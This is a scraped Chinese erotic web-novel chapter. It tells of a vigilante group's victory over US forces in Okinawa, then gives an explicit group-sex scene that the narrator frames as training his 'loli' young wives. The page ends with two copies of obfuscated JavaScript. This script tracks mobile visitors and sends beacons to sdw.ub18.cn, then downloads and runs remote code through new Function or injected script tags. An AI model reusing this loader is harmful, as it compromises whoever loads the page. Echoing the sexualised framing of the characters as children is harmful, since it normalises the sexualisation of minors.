“你在说什么呢?身为医生,冷漠一点是很正常的事情……京香小姐自己也说,这位先生治疗穷人病的时候,可是从来不收治疗费的。而且就算是富人给的治疗费,他也一分钱不拿,全部给了京香小姐……像是这么好的先生,冷漠一点又有什么关系?”

“妈妈。”

“嗯?”

“他其实一点都不冷漠。”

“呵呵,当然? 蠹叶颊饷此的兀

第十二章◆公理必胜

民间的“公理圣战团”热潮,直到两周后还都一直持续着,其影响之大,让我和三个小老婆都惊奇不已。此时的大友正男,已经做好了全部退职金的处理,他一共花费了九百多亿日圆,几乎是他财产的一半。

得到他好处的那些公司社员们,在兴高采烈的同时,也坚定的加入了“公理圣战团”的FANS的队伍中,一时间,皇宫、冲绳、警视厅……日本的各个游行场合,都出现了他们的身影。

第一个被迫做出回应的,是皇宫中的天皇夫妇,他们在一档采访节目中,认真的诉说了自己的观点和看法,总之翻来覆去一句话,他们是为了雅子皇太子妃好。

节目过后,回到皇宫的天皇夫妇很是难过的发现,经过这么一辩解,不但皇宫外面的人没有减少,反而增加了许多。

游行队伍如此整夜的闹着也不是办法,警察只要过来准备驱散,电视台和新闻一曝光,第二天保证警视厅的玻璃被砸得稀巴烂,久而久之,警视厅总监、副总监等等官员,干脆统统请病假,晚上也不再多派警察了。

过了三天,天皇夫妇终于做出了妥协,雅子皇太子妃开始出现在一些公众的场合,看得出来,她的笑容多了不少,如此一来,游行的人们也都跟着高兴起来。

看着天皇陛下都对平民们低头了,内阁总理大臣森喜朗也干脆,为避免自己等人的画像天天被撕毁,他大笔一挥,解除了警视厅的通缉令,并在非公开场合,称唿“公理圣战团”的人为义士。

最后挺不住的是美军驻冲绳海军分舰队。前面两批人马还好,他们都是日本本国人,而且地位十分的高,大家都不好意思太过分。可美军驻军是什么?那是害虫!那是公敌!一有了机会,还不得拼着命往前冲?

在六月三日的时候,冲绳就迎来了第十万个各地涌来的民众。

六月十二日,冲绳的县外涌入者就达到了五十八万。

这些人每天也不干别的什么,就围坐在美军驻军的基地门口,随便美军怎么说,都不让开路,制止了美军在陆地的通行。

冲绳民众本来就受苦很深,见到大家来声援,一个个的拿着家里的食物往人群里送,实在不会做饭的,就将超市的东西全部买光……可到了后来,这一招不灵了,因为无数大小超市都自发的将外地运来的物品送给静坐的人们,想买都没有地方买。

在人流仍旧不断涌入的情况下,美军太平洋略队,拉起了黄色警报,全员做好了战斗准备。但谁都知道,战斗是不可能发生的,外面坐着的可是几十万的平民啊,谁敢开枪?谁又敢开炮?

美军驻军司令佛多朗中将,已经把可以打的电话全部打遍了,但是以前对他毕恭毕敬的日本官员们,统统都是一句话的答复:“对不起,这是民间自发行为,如果我们驱散他们,那将是全日本的暴动。”

佛多朗中将无奈之下,只得低下高昂的头颅,问日本官员们该怎么办。日本的官员们很好心的提醒他,只要把那六个犯罪的士兵交出来就可以了。

佛多朗中将自然是不肯,一旦交出来,他在所有驻军心中的地位和威严,顷刻间将荡然无存﹔但是拖着不交的话,迎接他的就是随之而来的一张退伍令──美国军方不会容忍一个和驻地本地人不能处理好关系的将领。

想来想去,佛多朗中将只得请了自己的好友,美国副总统休特易,直接打电话给日本内阁总理大臣森喜朗,得到了日本法庭将会对几个犯罪士兵从轻处理的承诺后,他才一咬牙,下令打开军营大门,送那六个混账王八蛋出去!

于是,在六月十五日这一天,这场持续了整整十三天的超大规模示威,以日本民众的胜利而告终。

两点三十五分,看着六个美国海军陆战队队员被冲绳警方的警车押走,无数的人痛哭流涕,无论是现场还是电视机前的民众,无不抱头大哭。这不仅仅是他们的胜利,也是全日本对美国的一次胜利,整个日本的一亿三千多万人民,总算是出了一口恶气!

由此,“公理圣战团”的第三个请求也实现了,虽然第一个“希望世界和平”的请求太过缥缈,实现起来太难,但人们依旧有资格为他们鼓掌叫好,崇拜着这群有着无比正义勇气的义士们──虽然直到现在,没有人知道他们到底是谁,来自何方……

◇ ◇ ◇

六月十五日,正好就是星期天。“公理圣战团”的夫妻四人,正好在家里看电视直播,看到美军驻军的军营大门打开,同时那六个垂头丧气的海军陆战队员被押进警车时,小美人儿们欢唿一声,兴奋不已的在我脸上乱亲着,不一会儿就在沙发上吻成了一团。

“俊雄……千影要你很粗暴的对我!”甜美的声音中,娇美俏皮的少女将自己身上的白色皱褶长裙掀起,雪白的少女内裤在她同样雪白的美丽翘臀上,勾勒出两条诱人的痕迹。

“俊雄,人家也要嘛……”洋娃娃美少女无论在什么方面,从来不甘示弱,她也学着千影一样,翘着小屁股跪在另一侧,“来吧,人家的身体里还有你昨晚留下的精华呢……小春还想要……”

绘里更是直接,巨乳美少女径直坐在了我的怀里,那对绝世玉乳挣脱了胸罩的束缚,又大又圆的双峰在我眼前不住的晃动着,“俊雄……今天绘里用它们给你磨出来好吗?还有我的小嘴哦……”

美少女们并不只是说说而已,她们的情欲比昨晚都还要强烈。从她们三个脸上的红晕,以及她们已经开始湿润的内裤就可以知道。女人是因情而有欲。

有着这么强烈的情欲,是因为小美人儿们对于自己和我做的事情,感到无比的骄傲。心情澎湃之下,小老婆们当然是情欲勃发,很想要我的分身将她们给塞满,并给予她们无比的舒爽欢愉高潮,这才能让她们的激情喷发出来,得到最完美的幸福。

经过和少女们的欢好,我早已不是之前的情场生手。看着这么美妙的场景,我深吸了一口气,迅即的将茁壮的分身给释放出来,抓住了绘里的肥臀,一把撕碎了她的小裤裤,“小乖乖,老公先喂饱你下面的蜜洞,然后才喂你上面的这张小嘴!”

言语落下,我的手一提一落,绘里大腿的尽头已经将硕大的分身给吃了进去,引得巨乳美少女满足的呻吟一声,并懂事的迅速开始了扭动。

“啪啪……”淫靡的声音不绝于耳,翘起屁股已经自己脱掉雪白内裤的千影和小春,幽怨的转过了头,齐声娇叱道:“俊雄偏心……坏老公……”

我用力的一拍她们的美臀,喝道:“还不快过来?”

两个小美人儿美臀是一阵火辣,但这股火辣的疼痛,反而让她们的情欲更加高涨。

闻言洋娃娃美少女站了起来,几步路跨在了我和绘里之间,娇躯上仰,靠在了正在不住扭动呻吟的绘里身上,一双粉腿越过我的脖子,搭在了后面的沙发靠背上。然后,小春将娇嫩的粉红蜜唇凑到了我的嘴边,羞答答的道:“俊雄……我要你吃吃这个……”那声音,妩媚软腻柔糯到了极点!

我当即一张嘴,在一片柔顺的黑森林中,找到了那两片蜜唇和一颗小珍珠,开始了新奇的探险。

“噢……”娇小的洋娃娃美少女哪里禁得住这个,当即就一声娇吟,倒在了绘里的身上。

巨乳美少女在我的示意下,一边自己扭动着得到莫大的欢愉,一边搀扶着小春,让她的分寸蜜洞始终被我所吮吸占有着,并和她一起,发出了令人热血沸腾的娇唿声。

而千影也没有被冷落,像是我们平常做的一样,千影将美臀翘着,趴跪在我的身边,并主动的用柔荑抓着我的手,往她的两臀之间引去。

我一双手就都放在她的美臀之上,右手一根手指进入她的狭紧蜜洞,轻柔的进出抽插着。另外,我的左手却是也伸出一根手指,先是在她粉红菊花后庭上不住的打着圈,然后才慢慢的进入一点,随后再退出,接着又多进入一点……

千影在我的挑逗下,不断的扭动着又圆又翘的美臀,每当她不听话的时候,我总会给上几巴掌,打得美人儿痛叫声声的同时,那夹住我手指的蜜洞腔壁,却是越发的紧箍收缩。

淫靡而又无比快乐的欢好,就这么持续进行着,等到绘里和小春的蜜洞几乎是同时不住的收缩喷出阴精,我将她们放到了沙发旁边,随后抱着千影,让她坐了上去,吃掉了她最喜欢的大玉柱。

而现在,也正是我发动反击的开始!

如此激情的交欢,却是只花费了两个小时,少女们因为太过激动,被我送上高潮的时间也快了许多,几百下冲击之下,她们就纷纷哭喊着倒下,再也无法支持。

我倒是被她们弄得不上不下的,最后还是实现了诺言,让绘里用她的一对巨乳夹住,反复的在她小嘴里冲刺一阵后,才畅快的将精华射入了她的小嘴里。

绘里对于我的精华,自然是欢喜的“咕噜咕噜”吞下,连一滴也没有浪费。但她也是太过疲倦了,吞完精华后,也软软的倒在我的身上,进入了她最喜欢的甜美梦乡。

此时我们已经转移到了卧室的大床上。

看着东倒西歪的三个绝色小美人儿,我心中是充满了成就感,这种成就感不仅仅是在床笫之间征服了这群天之娇女,还因为通过这段时期的教育和教导,原本就善良可爱的少女们,更是有了比以前成熟许多的思维和想法。

有什么比调教培养自己的萝莉小老婆更有意思的呢?


上一篇:我怀孕时的一次偷情

下一篇:[玄幻]魔睺罗伽(全)-12-13


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};